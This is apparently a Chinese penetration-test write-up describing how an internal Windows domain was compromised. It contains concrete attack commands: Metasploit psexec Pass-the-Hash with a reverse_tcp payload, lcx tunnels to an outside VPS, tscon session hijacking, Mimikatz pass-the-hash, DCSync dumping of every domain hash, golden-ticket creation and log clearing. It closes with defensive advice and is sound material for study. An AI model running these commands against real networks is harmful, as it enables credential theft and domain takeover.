记一次实战渗透(下)
字数 1637 2025-08-05 00:16:28
实战渗透测试技术解析:从MS17-010到域控攻陷
前言
本文记录了一次完整的内部网络渗透测试过程,攻击者通过利用MS17-010漏洞初步进入内网,随后通过Pass-the-Hash技术横向移动,最终成功获取域控制器权限。本教学文档将详细解析渗透过程中的关键技术和操作步骤。
环境准备
-
工具准备:
- Cobalt Strike (CS):用于命令控制
- Metasploit Framework (MSF):用于漏洞利用
- FRP:用于建立反向代理隧道
- Mimikatz:用于凭证提取和哈希传递
- Lcx:用于端口转发
-
代理配置:
- 使用FRP建立VPS与本地Kali虚拟机之间的隧道
- VPS作为FRP服务器端配置:
[common] bind_port = 7000 - Kali作为FRP客户端配置:
[common] server_addr = VPS_IP server_port = 7000 [msf] type = tcp local_ip = 127.0.0.1 local_port = 4444 remote_port = 6000
初始攻击阶段:MS17-010利用
-
漏洞探测:
- 发现内网三台主机存在MS17-010 (EternalBlue)漏洞
- 使用Metasploit的
auxiliary/scanner/smb/smb_ms17_010模块确认漏洞存在
-
攻击尝试:
- 尝试使用Cobalt Strike直接攻击但效果不佳
- 派生会话给Metasploit进行更精细的控制
- 遇到问题:Windows版MSF添加路由时参数错误
- 解决方案:改用Kali Linux虚拟机通过FRP代理进行攻击
-
攻击结果:
- 三台目标主机均未成功利用,原因:
- 目标系统未开启命名管道
- 系统安全性较高,EternalBlue模块无法成功利用
- 三台目标主机均未成功利用,原因:
横向移动:Pass-the-Hash技术
-
发现新攻击面:
- 通过端口扫描发现大量主机开放445端口(SMB)
- 决定采用Pass-the-Hash (PTH)技术进行横向移动
-
批量哈希传递:
- 使用Metasploit的
exploit/windows/smb/psexec模块 - 或使用Cobalt Strike的
pth命令 - 配置示例:
use exploit/windows/smb/psexec set SMBDomain 域名 set SMBUser 用户名 set SMBPass 哈希值 set payload windows/meterpreter/reverse_tcp set LHOST 监听IP set LPORT 监听端口 exploit
- 使用Metasploit的
-
攻击成果:
- 成功获取多台主机权限
- 开始信息收集,寻找域管理员线索
RDP会话劫持尝试
-
发现高权限会话:
- 在27号主机上发现两个RDP会话:
- 已知账号的普通域账户(已获取明文密码)
- 域管理员账户会话(状态显示为断开)
- 在27号主机上发现两个RDP会话:
-
劫持准备:
- 使用lcx建立端口转发:
- 目标机器执行:
lcx.exe -slave 公网IP 7212 127.0.0.1 3389 - VPS执行:
lcx -listen 7212 5555
- 目标机器执行:
- 使用lcx建立端口转发:
-
会话劫持尝试:
- 在CS上执行:
shell tscon 2 /dest:console - 失败原因:
- 目标会话已断开(STATE显示为Disc)
- 权限不足(需要SYSTEM权限)
- 在CS上执行:
域控制器攻陷
-
哈希收集与整合:
- 使用Mimikatz的
sekurlsa::logonpasswords或Cobalt Strike的hashdump获取多台主机哈希 - 发现域管理员账户(Administrator)的哈希
- 使用Mimikatz的
-
哈希传递攻击:
- 多次尝试后成功使用域管理员哈希访问域控制器
- 关键命令:
mimikatz # sekurlsa::pth /user:Administrator /domain:域名 /ntlm:哈希值
-
域控信息提取:
- 使用Mimikatz的DCSync功能导出所有域用户哈希:
lsadump::dcsync /domain:域名 /all /csv - 获取近千个域用户凭证
- 使用Mimikatz的DCSync功能导出所有域用户哈希:
-
RDP登录验证:
- 选择一个未连接的域用户
- 使用其哈希解密获取明文密码
- 成功通过RDP登录验证权限
后渗透清理与报告
-
痕迹清理:
- 删除创建的临时文件
- 清理日志(使用如
clearev命令)
-
报告要点:
- 详细记录攻击路径
- 标注脆弱点(MS17-010未修补、共享相同凭证等)
- 提供修复建议(补丁管理、权限分离等)
关键工具使用技巧
-
Mimikatz高级用法:
# 提取内存中的凭证 sekurlsa::logonpasswords # DCSync攻击 lsadump::dcsync /domain:域名 /user:目标用户 # 生成黄金票据 kerberos::golden /user:任意用户名 /domain:域名 /sid:SID /krbtgt:KRBTGT哈希 /ticket:生成的票据名.kirbi -
Cobalt Strike与Metasploit交互:
# CS派生会话给MSF spawn [x86|x64] [监听器名称] # MSF接收CS会话 use exploit/multi/handler set payload windows/meterpreter/reverse_http set LHOST 监听IP set LPORT 监听端口 exploit
防御建议
-
预防措施:
- 及时修补已知漏洞(如MS17-010)
- 禁用SMBv1协议
- 实施LAPS(本地管理员密码解决方案)
-
检测措施:
- 监控异常哈希传递行为
- 检测DCSync异常请求
- 审计域管理员账户活动
-
响应措施:
- 建立应急响应流程
- 准备凭证重置方案
- 保留足够日志用于取证
通过本案例可以看出,即使初始漏洞利用失败,通过系统的信息收集和多种攻击技术的组合运用,仍然可能找到其他攻击路径最终达成目标。这强调了防御方需要实施纵深防御策略的重要性。